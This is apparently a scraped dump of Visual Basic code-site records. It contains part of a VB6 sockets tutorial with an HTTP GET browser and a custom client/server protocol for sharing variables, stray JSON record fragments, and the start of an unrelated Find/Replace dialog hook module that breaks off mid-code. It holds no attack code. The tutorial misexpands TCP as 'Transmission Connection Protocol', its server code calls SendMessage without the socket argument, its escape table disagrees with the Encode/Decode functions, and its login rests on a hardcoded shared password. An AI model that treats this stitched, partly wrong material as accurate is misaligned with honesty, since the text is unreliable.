An \"event\" is the converse of a remote procedure call: the server sends this kind of message to \nthe client, which may or may not respond to.\nAs programmers, we generally take for granted that a given function call does not return until it is done \nexecuting. Why would we want it to, otherwise? Having the code that calls a function wait until it is done is \ncalled \"synchronous\". The alternative - allowing the calling code to continue on even before the function \ncalled is done - is called \"asynchronous\". Different client/server systems employ each of these kinds of \nprocedure calling modes. Usually, an asynchronous client/server system will involve attaching unique, random \nnumbers to each message and having a response to a given message include that same number, which can be used to \ndifferentiate among messages that may arrive out of their expected order. The main benefit to this sort of scheme \nis that processing can continue on both sides without delays. Such systems are usually a bit complicated to create \nand make the most of.\nThere are plenty of other concepts related to the client/server concept, but this should suffice for starters.\n\n<A NAME=\"introduction\">\n Introduction to Internet Programming \n As you might already have guessed, programming for the Internet is quintessentially client/server programming. \nYour program can't connect to any other program using the Internet without that other program being an active \nserver. The feature that distinguishes Internet client/server systems from others is TCP/IP, which stands for \nTransmission Connection Protocol / Internet Protocol. TCP/IP was developed as a generic communication protocol that \ntranscends the particular, lower-level network systems they rest on top of, like Ethernet LANs, phone lines, digital \ncellular systems, and so on.\nThe Internet protocol - the IP in TCP/IP - is a complex packet-switching protocol in which messages sent through \nconnections are chopped up into \"packets\" - low-level messages our programs generally never need to directly see - \nand sent across any number of physical connections to the other side of the Internet connection. These are \nreassembled at the receiving end. Those packets may not arrive at the same time, though, and some may never arrive \nat all. Internet phone and streaming video systems are fine with this sort of asynchronous communication, since \nit's fast. Those programs use the \"UDP\" (User Datagram Protocol). For this article, we'll be dealing with the TCP, \nin which these packets are properly assembled back into the original data stream at the receiving end, with a \nguarantee that if the packets can get there, they will.\nInernet programming is also often called \"sockets programming\", owing to the Berkley sockets API, one of \nthe first of its kind. Because programmers of sockets applications on windows use the \"Winsock\" API, it's also \noften called by \"Winsock programming\". Winsock is simply an adaptation of the Berkley sockets API for \nWindows.\nMost Internet client/server systems use sockets to interface with TCP/IP. A socket is an abstract representation \nfor a program of one end of an Internet connection. There are three basic kinds of sockets: client, server, and \nlistener. A server application will have a listener socket do nothing but wait for incoming connection requests. \nThat application will decide, when one arrives, whether or not to accept this request. If it accepts it, it will \nactually bind that connection to a server socket. Most servers have many server sockets that can be allocated; at \nleast one for each active connection. The client application only needs a client socket. Either side can \ndisconnect, which simply breaks the connection on both sides.\nOnce a connection is established, each side can send bytes of data to the other. That data will always arrive at \nthe other side in the same order it was sent. Both sides can be sending data at the same time, too. This is called \na \"data stream\". All data that gets sent between a client and server passes through this stream.\nEverything else that applies to the <A HREF=\"#clientserver\">client/server</A> concept applies here as well, so \nwe'll dispense with the details and get right into Internet programming with the Sockets controls.\n\n<A NAME=\"package\">\n The Sockets Package \n The Sockets package, which you can download via the link in the <A HREF=\"#preface\">preface</A>, is a collection \nof controls that simplify interfacing with the Winsock API and hence the Internet. There are controls for each of \nthe three types of sockets: client, server, and listener. There is also a control that combines one listener \nsocket and a bank of server sockets. This control hides the gory details of socket management that most servers \notherwise have to do themselves. A server that uses this control won't need to directly deal with the listener or \nserver sockets.\nWe won't get deeply into the details of the Sockets package here. Let me encourage you to refer to \"help.html\", \nthe help file that came with the Sockets package you <A HREF=\"#preface\">downloaded</A>.\n\n<A NAME=\"browser\">\n Build a Basic Web Browser \n The HTTP protocol that drives the World Wide Web is surely the most used TCP/IP application. It's wonderful \nthat it should also be one of the easiest to master. We'll do this by building a simple web browser. It won't have \nall the advanced features like WYSIWYG, scripting, and so on, but it will demonstrate the basic secrets behind HTTP.\nBefore we get started, you'll need to make sure you have access to the web without the use of a proxy to get \nthrough a firewall. If you're inside a corporate intranet, you may at least have access to your own company's web \nservers. If you're not sure about all this or can't run the program we'll be building, consult your network \nadministrator.\nNow, let's start by creating our project and building a form. Our project needs to include the \"Sockets\" \ncomponent, which is the \"Sockets.ocx\" file that came with the Sockets package we downloaded. The form should look a \nlittle something like this:\n<CENTER><TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"2\">\n<TR><TD BGCOLOR=\"000066\"> Form1 </TD></TR>\n<TR><TD><TABLE>\n<TR>\n <TD>Url: </TD>\n<TD><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"Host\" </TD></TR></TABLE></TD>\n<TD><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"200\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"Path\" </TD></TR></TABLE></TD>\n <TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Go </TD></TR></TABLE></TD>\n </TR><TR>\n <TD COLSPAN=\"4\"><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n Name = \"Contents\" \n \n \n<TABLE BGCOLOR=\"#FFFF99\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"1\" ALIGN=\"RIGHT\"><TR><TD> CS </TD></TR></TABLE>\n</TD></TR></TABLE></TD>\n </TR>\n</TABLE></TD>\n</TR>\n</TABLE></CENTER>\n\"CS\" is a ClientSocket control. Be sure to give the button labeled \"Go\" the name \"Go\". Now enter the following \ncode in the form module:\n<PRE>\nPrivate Sub Go_Click()\n Contents.Text = \"\"\n CS.Connect Host.Text, 80\n CS.Send \"GET \" & Path.Text & vbCrLf & vbCrLf\n While CS.Connected\n If CS.BytesReceived > 0 Then\n Contents.SelText = CS.Receive\n End If\n DoEvents\n Wend\nEnd Sub\n</PRE>\nHard to believe it could be that easy, but it is. Try running this with <TT>Host</TT> = \n\"www.planet-source-code.com\" and <TT>Path</TT> = \"/vb/\". Not surprisingly, this won't look as nice as it does in, \nsay, Internet Explorer, but that's because we're only retrieving what the server has to offer. We're not actually \nreading what comes back to decide what to make of it. That's much harder. But the network interaction part is at \nthe heart of what your Internet programming effort will most often be about. This code could form the basis of a \nprogram to grab information from one of your business partners' web sites to populate your own database: perhaps \nthe latest pricing and availability figures; or perhaps to get a car's blue book value from a search engine.\nSince this article isn't fundamentally about web browsers, we'll skip these sorts of details. Instead, we'll now \nbuild a custom client / server application from scratch.\n\n<A NAME=\"csapp\">\n Build a Complete Client / Server App \n The Nature of the Beast \n We've talked about the <A HREF=\"#clientserver\">client / server</A> concept and we've <A HREF=\"#browser\">built a \nweb browser</A> to demonstrate a client. Let's now invent an Internet protocol of our own and build client and \nserver programs to implement it.\nOur application's purpose will be simple: to allow a number of different computers share some data variables in a \nway that allows all of them to not only read and write those variables, but also to be aware of any changes to that \ndata by other computers as they happen.\nWhat sort of information protocol do we need to make this happen? Obviously, we'll want the clients interested \nto be able to connect to a server that maintains the data. We'll keep it simple by not allowing any client to be \ndisconnected during a session. We'll want to require clients to log in at the beginning of the session. The \nclients will need to be able to send commands to the server (\"remote procedures\") and get a response for each \ncommand invocation. We'll allow communication to be asynchronous, meaning the client won't have to wait for a \nresponse to a given command before continuing. We'll also need to have the server be able to trigger events the \nclient can make use of. Here are the messages our clients and server will need to be able to exchange:\n<UL>\n<LI>LogIn <user> <password>\n<LI>LogInResult <true_or_false>\n<LI>GetValue <name>\n<LI>GetAllValues\n<LI>SetValue <name> <value>\n<LI>ValueEquals <name> <value>\n<LI>ValueChanged <by_user> <name> <value>\n</UL>\nHow will we represent a message? A message will begin with a message name (e.g., \"GetValue\") and will have zero \nor more parameters. Each message will be followed by <TT><CR><LF></TT>, the standard way Windows \nprograms represent a new line. We'll put a space after the message name and between each parameter. Because we've \ngiven special meaning to the new-line character combination and the space character, we can't use them anywhere \nwithin the message names or the parameters. What if a parameter contains one of these special character \ncombinations? Our protocol will include \"metacharacters\", or special combinations of characters that are meant to \nrepresent other character combinations. Here are the characters and what we'll be replacing them with:\n<TABLE>\n <TR><TD><LI>\"\\\" </TD><TD> => \"\\b\" </TD><TD> (\"b\" for \"backslash\") </TD></TR>\n<TR><TD><LI>\" \" </TD><TD> => \"\\s\" </TD><TD> (\"s\" for \"space\") </TD></TR>\n<TR><TD><LI>vbCr </TD><TD> => \"\\r\" </TD><TD> (\"r\" for \"carriage return\") </TD></TR>\n<TR><TD><LI>vbLf </TD><TD> => \"\\l\" </TD><TD> (\"l\" for \"line feed\") </TD></TR>\n</TABLE>\nNote that we're even replacing the backslash (\\) character with a metacharacter because we're also giving special \nmeaning to backslash as the start of a metacharacter representation.\n The Code \n Let's create the project. As before, the project needs to include the \"Sockets\" component, which is the \n\"Sockets.ocx\" file that came with the Sockets package we downloaded. Create two forms, called \"Server\" and \n\"Client\". They should look like the following:\n<CENTER><TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"2\">\n<TR><TD BGCOLOR=\"000066\"> Server </TD></TR>\n<TR><TD><TABLE>\n<TR>\n<TD COLSPAN=\"4\"><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n Type = ListBox\n Name = \"Connections\" \n \n<TABLE BGCOLOR=\"#FFFF99\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"1\" ALIGN=\"RIGHT\"><TR><TD> SSB </TD></TR></TABLE>\n</TD></TR></TABLE></TD>\n </TR>\n</TABLE></TD>\n</TR>\n</TABLE></CENTER>\n\n<CENTER><TABLE BGCOLOR=\"#CCCCCC\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"2\">\n<TR><TD BGCOLOR=\"000066\"> Client </TD></TR>\n<TR><TD><TABLE>\n<TR>\n<TD ALIGN=\"RIGHT\"><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Start the Server \n </TD></TR></TABLE></TD>\n<TD COLSPAN=\"3\" ALIGN=\"LEFT\"><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Launch Another Client \n </TD></TR></TABLE></TD>\n</TR><TR>\n <TD><TABLE BGCOLOR=\"#FFFFFF\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"VarName\" </TD></TR></TABLE></TD>\n <TD><TABLE BGCOLOR=\"#FFFFFF\" CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> \n Name = \"VarValue\" </TD></TR></TABLE></TD>\n <TD><TABLE CELLSPACING=\"0\" CELLPADDING=\"0\" BORDER=\"1\"><TR><TD> Set </TD></TR></TABLE></TD>\n </TR><TR>\n <TD COLSPAN=\"4\"><TABLE BGCOLOR=\"#FFFFFF\" WIDTH=\"100%\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n Type = ListBox\n Name = \"VarList\" \n \n<TABLE BGCOLOR=\"#FFFF99\" CELLSPACING=\"0\" CELLPADDING=\"2\" BORDER=\"1\" ALIGN=\"RIGHT\"><TR><TD> CS </TD></TR></TABLE>\n</TD></TR></TABLE></TD>\n </TR>\n</TABLE></TD>\n</TR>\n</TABLE></CENTER>\n\n\"CS\" is a ClientSocket control. \"SSB\" is a ServerSocketBank control. We'll give the button labeled \"Set\" the \nname \"SetVar\". We'll call the other two buttons on the client \"StartServer\" and \"AnotherClient\". Here's the code \nfor the server:\n\n<CENTER><TABLE BGCOLOR=\"#FFFFDD\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<PRE>\nPrivate VariableNames As Collection\nPrivate Variables As Collection\n 'Let's do something with this message\nPrivate Sub ProcessMessage(Socket, Message)\n Dim i, Session\n Set Session = Socket.ExtraTag\n If Not Session(\"LoggedIn\") _\n And Message(0) <> \"LogIn\" Then Exit Sub\n Select Case Message(0)\n Case \"LogIn\"\n If Message(2) = \"pollywog\" Then\n SetItem Session, \n\"LoggedIn\", True\n SetItem Session, \n\"User\", Message(1)\n SendMessage Socket, \n\"LogInResult\", \"True\"\n Else\n SetItem Session, \n\"LoggedIn\", False\n SendMessage Socket, \n\"LogInResult\", \"False\"\n End If\n RefreshDisplay\n Case \"GetValue\"\n On Error Resume Next\n i = Variables(Message(1))\n On Error GoTo 0\n SendMessage \"ValueEquals\", Message(1), i\n Case \"GetAllValues\"\n For i = 1 To VariableNames.Count\n SendMessage Socket, \n\"ValueEquals\", _\n Variable\nNames(i), Variables(i)\n Next\n Case \"SetValue\"\n SetItem VariableNames, Message(1), \nMessage(1)\n SetItem Variables, Message(1), Message(2)\n SSB.Broadcast \"ValueChanged \" & _\n Encode(Session(\"User\")) & \" \" & \n_\n Encode(Message(1)) & \" \" & _\n Encode(Message(2)) & vbCrLf\n End Select\nEnd Sub\n 'Refresh the list box of connections\nPrivate Sub RefreshDisplay()\n Dim i As Integer\n Connections.Clear\n For i = 1 To SSB.MaxSocket\n If SSB.IsInUse(i) Then\n Connections.AddItem i & vbTab & \nSSB(i).ExtraTag(\"User\")\n Else\n Connections.AddItem i & vbTab & \"<not in \nuse>\"\n End If\n Next\nEnd Sub\n 'Initialize everything and start listening\nPrivate Sub Form_Load()\n Set VariableNames = New Collection\n Set Variables = New Collection\n SetItem VariableNames, \"x\", \"x\"\n SetItem Variables, \"x\", 12\n SetItem VariableNames, \"y\", \"y\"\n SetItem Variables, \"y\", \"ganlion\"\n SSB.Listen STANDARD_PORT\nEnd Sub\n 'A client just connected\nPrivate Sub SSB_Connected(Index As Integer, _\n Socket As Object)\n Dim Session\n Set Session = New Collection\n SetItem Session, \"LoggedIn\", False\n SetItem Session, \"User\", \"\"\n SetItem Session, \"Buffer\", \"\"\n Set Socket.ExtraTag = Session\n RefreshDisplay\nEnd Sub\n 'A client just disconnected\nPrivate Sub SSB_Disconnect(Index As Integer, _\n Socket As Object)\n RefreshDisplay\nEnd Sub\n 'A client sent message data\nPrivate Sub SSB_DataArrival(Index As Integer, _\n Socket As Object, Bytes As Long)\n Dim Message, Buffer\n Buffer = Socket.ExtraTag(\"Buffer\") & Socket.Receive\n SetItem Socket.ExtraTag, \"Buffer\", Buffer\n While ParseMessage(Buffer, Message)\n SetItem Socket.ExtraTag, \"Buffer\", Buffer\n ProcessMessage Socket, Message\n Wend\nEnd Sub\n</PRE>\n</TD></TR></TABLE></CENTER>\nThe core of this code is the <TT>ProcessMessage</TT> subroutine. The message that's passed to it will be an \narray of strings representing the message name and its parameters. This array is generated by the \n<TT>ParseMessage</TT> routine, which we'll get to momentarily.\nNow here's the code for the client form's module:\n\n<CENTER><TABLE BGCOLOR=\"#FFFFDD\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<PRE>\nPrivate VariableNames As Collection\nPrivate Variables As Collection\nPrivate Buffer As String\nPrivate User As String\n 'Let's do something with this message\nPrivate Sub ProcessMessage(Socket, Message)\n Dim i\n Select Case Message(0)\n Case \"LogInResult\"\n If Message(1) = False Then\n MsgBox \"Login \ndenied\"\n CS.Disconnect\n Else\n SetVar.Enabled = \nTrue\n SendMessage CS, \n\"GetAllValues\"\n End If\n Case \"ValueEquals\"\n SetItem VariableNames, Message(1), \nMessage(1)\n SetItem Variables, Message(1), Message(2)\n RefreshDisplay\n Case \"ValueChanged\"\n SetItem VariableNames, Message(2), \nMessage(2)\n SetItem Variables, Message(2), Message(3)\n RefreshDisplay\n If Message(1) <> User Then\n MsgBox Message(2) & \n\" was changed by \" & Message(1)\n End If\n End Select\nEnd Sub\n 'Refresh the list box of variables\nPrivate Sub RefreshDisplay()\n Dim i\n VarList.Clear\n For i = 1 To VariableNames.Count\n VarList.AddItem VariableNames(i) & \" = \" & Variables(i)\n Next\nEnd Sub\n 'Initialize everything and connect to the server\nPrivate Sub Form_Load()\n Dim Host, Password\n SetVar.Enabled = False\n Set VariableNames = New Collection\n Set Variables = New Collection\n Me.Show\n Host = InputBox(\"Server's host or IP address\", , \"localhost\")\n CS.Connect Host, STANDARD_PORT\n User = InputBox(\"Your username\", , \"johndoe\")\n Password = InputBox(\"Your password\", , \"pollywog\")\n DoEvents\n SendMessage CS, \"LogIn\", User, Password\n DoEvents\nEnd Sub\n 'Unintentionally lost the connection\nPrivate Sub CS_Disconnect()\n SetVar.Enabled = False\n MsgBox \"You've been disconnected :(\"\nEnd Sub\n 'Message data have arrived from the server\nPrivate Sub CS_DataArrival(Bytes As Long)\n Dim Message, Buffer\n Buffer = Buffer & CS.Receive\n While ParseMessage(Buffer, Message)\n ProcessMessage CS, Message\n Wend\nEnd Sub\n 'The user clicked \"Launch Another Client\"\nPrivate Sub AnotherClient_Click()\n Dim NewClient As New Client\n NewClient.Show\nEnd Sub\n 'The user clicked \"Set\"\nPrivate Sub SetVar_Click()\n SendMessage CS, \"SetValue\", _\n VarName.Text, VarValue.Text\nEnd Sub\n</PRE>\n</TD></TR></TABLE></CENTER>\nAs with the server, the core of the client's operation is the <TT>ProcessMessage</TT> subroutine. Since both the \nclient and server use many of the same mechanisms, we'll be putting them into a shared library module we'll call \n\"Shared\" (\".bas\"):\n\n<CENTER><TABLE BGCOLOR=\"#FFFFDD\" CELLSPACING=\"0\" CELLPADDING=\"4\" BORDER=\"1\"><TR><TD>\n<PRE>\n'The port the server listens for connections on\nPublic Const STANDARD_PORT = 300\n 'The start-up routine\nPublic Sub Main()\n Dim NewClient As New Client\n If MsgBox(\"Want to launch a server?\", vbYesNo) = vbYes Then\n Server.Show\n End If\n NewClient.Show\nEnd Sub\n 'Set an item in the collection\nPublic Sub SetItem(Col, Key, Value)\n Dim Temp\n On Error Resume Next\n Temp = Col(Key)\n If Err.Number = 0 Then Col.Remove Key\n On Error GoTo 0\n Col.Add Value, Key\nEnd Sub\n 'Replace \"unsafe\" characters with metacharacters\nPublic Function Encode(Value)\n Encode = Replace(Value, \"\\\", \"\\b\")\n Encode = Replace(Encode, \" \", \"\\s\")\n Encode = Replace(Encode, vbCr, \"\\c\")\n Encode = Replace(Encode, vbLf, \"\\l\")\nEnd Function\n 'Replace metacharacters with their original characters\nPublic Function Decode(Value)\n Decode = Replace(Value, \"\\l\", vbLf)\n Decode = Replace(Decode, \"\\c\", vbCr)\n Decode = Replace(Decode, \"\\s\", \" \")\n Decode = Replace(Decode, \"\\b\", \"\\\")\nEnd Function\n 'Encode and send a message\nPublic Sub SendMessage(Socket, Name, ParamArray Parameters())\n Dim Message, i\n Message = Encode(Name)\n For i = 0 To UBound(Parameters)\n Message = Message & \" \" & _\n Encode(Parameters(i))\n Next\n Message = Message & vbCrLf\n Socket.Send CStr(Message)\nEnd Sub\n 'Is there a complete message ready? Extract it and decode.\nPublic Function ParseMessage(Buffer, Message)\n Dim i\n ParseMessage = False\n i = InStr(1, Buffer, vbCrLf)\n If i = 0 Then Exit Function\n Message = Split(Left(Buffer, i - 1), \" \")\n Buffer = Mid(Buffer, i + 2)\n For i = 0 To UBound(Message)\n Message(i) = Decode(Message(i))\n Next\n ParseMessage = True\nEnd Function\n</PRE>\n</TD></TR></TABLE></CENTER>\nBe sure to make \"<TT>Sub Main</TT>\" the start-up object in the project's properties.\n\n Process Flow \n Now let's analyze what's going on here. First, since the server has to handle multiple sessions, it needs to \nmaintain session data for each session. This happens as soon as the connection is established in the \n<TT>SSB_Connected()</TT> event handler. The ServerSocket object passed in, called \"<TT>Socket</TT>\", has its \n<TT>ExtraTag</TT> value set to a new Collection object, which we'll use to hold session data for this \nconnection/session. We add three values to it: \"LoggedIn\", \"User\", and \"Buffer\". \"LoggedIn\" is a boolean value \nindicating whether or not the client has properly logged in. We don't want the client to do anything else until \nthat happens. \"User\" is the ID of the user that logged in. \"Buffer\" is where we'll temporarily store all data \nreceived from the client until we detect and parse out a complete message for processing.\nThe <TT>ParseMessage()</TT> function in the shared module is called whenever data are received. This routine \nlooks for the first occurrence of <TT><CR><LF></TT>, indicating the end of a complete message. If it \nfinds it, it grabs everything before this new-line, splits it up by space characters, and puts the parts into the \n<TT>Message</TT> array. Naturally, it shortens the buffer to discard this message from it. <TT>ParseMessage()</TT> \nreturns true only if it does detect and parse one complete message. There could be more, but this function only \ncares about the first one it finds.\nOnce a message is found, <TT>ProcessMessage</TT> is called, with the array containing the parsed message passed \nin. This routine will immediately exit if the client has not yet logged in, unless this message is actually the \n\"LogIn\" command. Otherwise, The \"<TT>Select Case Message(0)</TT>\" block directs control to whatever block of code \nis associated with <TT>Message(0)</TT>, the message name.\nOf course, the server needs to send messages to the client, too. It does this using the <TT>SendMessage()</TT> \nsubroutine in the shared library, which takes the message parts and encodes them into our message format, being sure \nto translate \"unsafe\" characters like spaces into their metacharacter counterparts. It then sends this formatted \nmessage to the indicated socket control.\nThis is really all the server does. Of particular note, however, is what happens when a client sends the \n\"SetValue\" command message. Not only does the server update its list of variables. It also broadcasts a message to \nall the clients indicating that that value has changed using the <TT>.BroadCast()</TT> method of the \nServerSocketBank control.\nNow on to the client. The client form uses the same basic methodology, including the use of \n<TT>ParseMessage()</TT>, and <TT>SendMessage()</TT>, and <TT>ProcessMessage()</TT> (which is different for the \nclient, of course, since it has to deal with different messages).\nWhere the client really differs from the server is in its initialization sequence. Upon loading, the client \nimmediately tries to connect to the server (with the user providing details of where to find the server and whom to \nlog in as). As soon as it's connected, it sends the \"LogIn\" message with the provided user information.\nWhen the user clicks on the \"Set\" button, the client sends a \"SetValue\" message with the variable's name and \nvalue. As was mentioned before, the server responds by broadcasting to all the connected clients the new value and \nidentifying which user changed it.\n How can We Use this? \n Taking a step back, it seems rather silly to imagine that anyone would want to actually use our client / server \napplication the way it is. But it does demonstrate a powerful concept rarely employed in even the most modern \nbusiness applications: real-time refresh. What if, for example, a typical data entry form connected to a database \nwere automatically updated when another user changed some part of the data this user is looking at? This paradigm \nis also used in all online chat systems. It can be used for shared blackboards or spreadsheets.\nThe particularly neat thing about this approach to real-time refreshing is that the client is not expected to \noccasionally poll the server for the latest stuff - which may be a total refresh of the relevant screen or data. \nThe server actively sends updated data to all the clients as information changes.\nIf we wanted to be able to pass binary data, like files or images, we could make the <TT>ParseMessage()</TT> \nroutine a little more sophisticated by buffering bytes instead of string data (using the Sockets controls' \n<TT>.ReceiveBinary()</TT> methods). The <TT>ProcessMessage</TT> routine could then turn the message name into text \nand the individual message handlers could decide which parameters to translate into plain text and which to use in \nbinary form. (Be aware, though, that the buffers used by the Sockets controls can only store as much as any VB byte \narray - about 32KB. One may need to send multiple messages if he needs to transmit a large chunk of binary data.)\n\n<A NAME=\"conclusion\">\n Conclusion \n Programming Internet applications opens up a whole new vista of opportunities. This is especially true as \norganizations are realizing that they no longer have to commit their budgets to single-platform solutions. \nIntegrating disparate systems using TCP/IP as a common communication protocol gives unprecedented flexibility. The \nSockets package provides an excellent way to quickly and painlessly build both client and server systems. These can \nbe the glue that binds together lots of existing systems both inside and outside a corporate intranet. Or they can \nbe used to develop complete end products from web browsers to database engines.\nThe use of the Internet protocols will only grow in the coming years. It's not too late to jump on board. And \nthe simple truth is that there is no single Internet protocl - not HTTP, not MessageQ, nor any other - that yet \nanswers the needs of all applications. That's why people keep developing new ones. Starting at the essential \nfoundation - TCP/IP itself - ensures one the greatest flexibility of choices and can even help free one from the \ndangers of proprietary standards that can lock one in to a single vendor and platform, like Microsoft's DCOM.\nInternet programming is power. The Sockets package makes it easy.\n"},{"WorldId":1,"id":9281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9282,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9289,"LineNumber":1,"line":"1) Start a new project. \n2) Add a textbox to Form1... You can make it MultiLine with scrollbars if you want. \n3) Add two command buttons to Form1. \n4) Add the following code to the Form1 Declarations Section: \n'------------------------------------------------------------------------------- \n Private Sub Command1_Click() \n ShowFindDialog FindDialogBox, Me, Text1 \n End Sub \n \n Private Sub Command2_Click() \n ShowFindDialog ReplaceDialogBox, Me, Text1 \n End Sub \n'------------------------------------------------------------------------------- \n\n\n5) Add a module to the program and then paste the following code into the Declarations Section of the module: \n\n'------------------------------------------------------------------------------- \n Public Const GWL_WNDPROC = (-4) \n Public Const WM_LBUTTONDOWN = &H201 \n Public Const FR_NOMATCHCASE = &H800 \n Public Const FR_NOUPDOWN = &H400 \n Public Const FR_NOWHOLEWORD = &H1000 \n Public Const EM_SETSEL = &HB1 \n Public Const MaxPatternLen = 50 'Maximum Pattern Length \n Public Const GD_MATCHWORD = &H410 \n Public Const GD_MATCHCASE = &H411 \n Public Const GD_SEARCHUP = &H420 \n Public Const GD_SEARCHDN = &H421 \n Public Const BST_UNCHECKED = &H0 \n Public Const BST_CHECKED = &H1 \n Public Const BST_INDETERMINATE = &H2 \n \n Public Type FINDREPLACE \n lStructSize As Long ' size of this struct 0x20 \n hwndOwner As Long ' handle to owner's window \n hInstance As Long ' instance handle of.EXE that \n ' contains cust. dlg. template \n flags As Long ' one or more of the FR_?? \n lpstrFindWhat As Long ' ptr. to search string \n lpstrReplaceWith As Long ' ptr. to replace string \n wFindWhatLen As Integer ' size of find buffer \n wReplaceWithLen As Integer ' size of replace buffer \n lCustData As Long ' data passed to hook fn. \n lpfnHook As Long ' ptr. to hook fn. or NULL \n lpTemplateName As Long ' custom template name \n End Type \n \n Public Enum FR_DIALOG_TYPE \n FindDialogBox = 0 \n ReplaceDialogBox = 1 \n End Enum \n \n Public Declare Function FindText Lib \"comdlg32.dll\" Alias \"FindTextA\" _ \n (pFindreplace As FINDREPLACE) As Long \n Public Declare Function ReplaceText Lib \"comdlg32.dll\" Alias \"ReplaceTextA\" _ \n (pFindreplace As FINDREPLACE) As Long \n Public Declare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" _ \n (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long \n Public Declare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" _ \n (ByVal hwnd As Long, ByVal nIndex As Long) As Long \n Public Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" _ \n (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, _ \n ByVal wParam As Long, ByVal lParam As Long) As Long \n Public Declare Function GetDlgItem Lib \"user32\" (ByVal hDlg As Long, _ \n ByVal nIDDlgItem As Long) As Long \n Public Declare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" _ \n (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long \n Public Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _ \n (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _ \n ByVal lParam As Long) As Long \n Public Declare Function SetFocus Lib \"user32\" (ByVal hwnd As Long) As Long \n Public Declare Function IsDlgButtonChecked Lib \"user32\" _ \n (ByVal hDlg As Long, ByVal nIDButton As Long) As Long \n Public Declare Function CheckDlgButton Lib \"user32\" _ \n (ByVal hDlg As Long, ByVal nIDButton As Long, ByVal wCheck As Long) As Long \n \n \n Global gOldFindDlgWndHandle As Long \n Global gOldCancelDlgWndHandle As Long \n Global gOldReplaceDlgWndHandle As Long \n Global gOldReplaceAllDlgWndHandle As Long \n Global frText As FINDREPLACE \n Global gHDlg As Long \n Global gFindObj As Object \n Global ghFindCmdBtn As Long 'handle of 'Find Next' command button \n Global ghCancelCmdBtn As Long 'handle of 'Cancel' command button \n Global ghReplaceCmdBtn As Long 'handle of 'Replace' command button \n Global ghReplaceAllCmdBtn As Long 'handle of 'Replace All' command button \n Global gIsDlgReplaceBox As Boolean \n Function FindTextHookProc(ByVal hDlg As Long, ByVal uMsg As Long, _ \n ByVal wParam As Long, ByVal lParam As Long) As Long \n '========================================================= \n ' This is the window hook function for the Find/Replace \n ' dialog boxes. All of the hooks are handled here! \n '========================================================= \n \n Dim strPtnFind As String 'pattern string \n Dim hFindTxtBox As Long 'handle of the FIND text box in dialog box \n Dim strPtnReplace As String 'pattern string \n Dim hReplaceTxtBox As Long 'handle of the REPLACE text box in dialog box \n Dim ptnLen As Integer 'actual length read by GetWindowString \n Dim lMatchWord As Boolean 'match word switch \n Dim lMatchCase As Boolean 'match case switch \n Dim lSearchUp As Boolean 'search up switch \n Dim lSearchDn As Boolean 'search down switch \n Dim iVal As Long \n \n strPtnFind = Space(MaxPatternLen) \n strPtnReplace = Space(MaxPatternLen) \n \n Select Case uMsg \n Case WM_LBUTTONDOWN \n '========================================================= \n ' We have trapped a button down event! \n '========================================================= \n \n 'DEBUG - FIND ALL OF THE DIALOG ITEMS... \n 'For iVal = 0 To 65535 \n ' hFindTxtBox = GetDlgItem(gHDlg, iVal) \n ' If Not hFindTxtBox = 0 Then \n ' strPtnFind = Space(MaxPatternLen) \n ' ptnLen = GetWindowText(hFindTxtBox, strPtnFind, MaxPatternLen) \n ' Debug.Print \"ITEM \" + CStr(iVal) + \" - \" + strPtnFind \n ' End If \n 'Next iVal \n \n 'Get the switches from the dialog box \n lMatchWord = IIf(IsDlgButtonChecked(gHDlg, GD_MATCHWORD) = 1, True, False) \n lMatchCase = IIf(IsDlgButtonChecked(gHDlg, GD_MATCHCASE) = 1, True, False) \n lSearchUp = IIf(IsDlgButtonChecked(gHDlg, GD_SEARCHUP) = 1, True, False) \n lSearchDn = IIf(IsDlgButtonChecked(gHDlg, GD_SEARCHDN) = 1, True, False) \n \n 'Get the FIND pattern string \n hFindTxtBox = GetDlgItem(gHDlg, &H480) \n ptnLen = GetWindowText(hFindTxtBox, strPtnFind, MaxPatternLen) \n strPtnFind = Left$(strPtnFind, ptnLen) \n \n 'Get the REPLACE pattern string IF PRESENT \n hReplaceTxtBox = GetDlgItem(gHDlg, &H481) \n If Not hReplaceTxtBox = 0 Then \n ptnLen = GetWindowText(hReplaceTxtBox, strPtnReplace, MaxPatternLen) \n strPtnReplace = 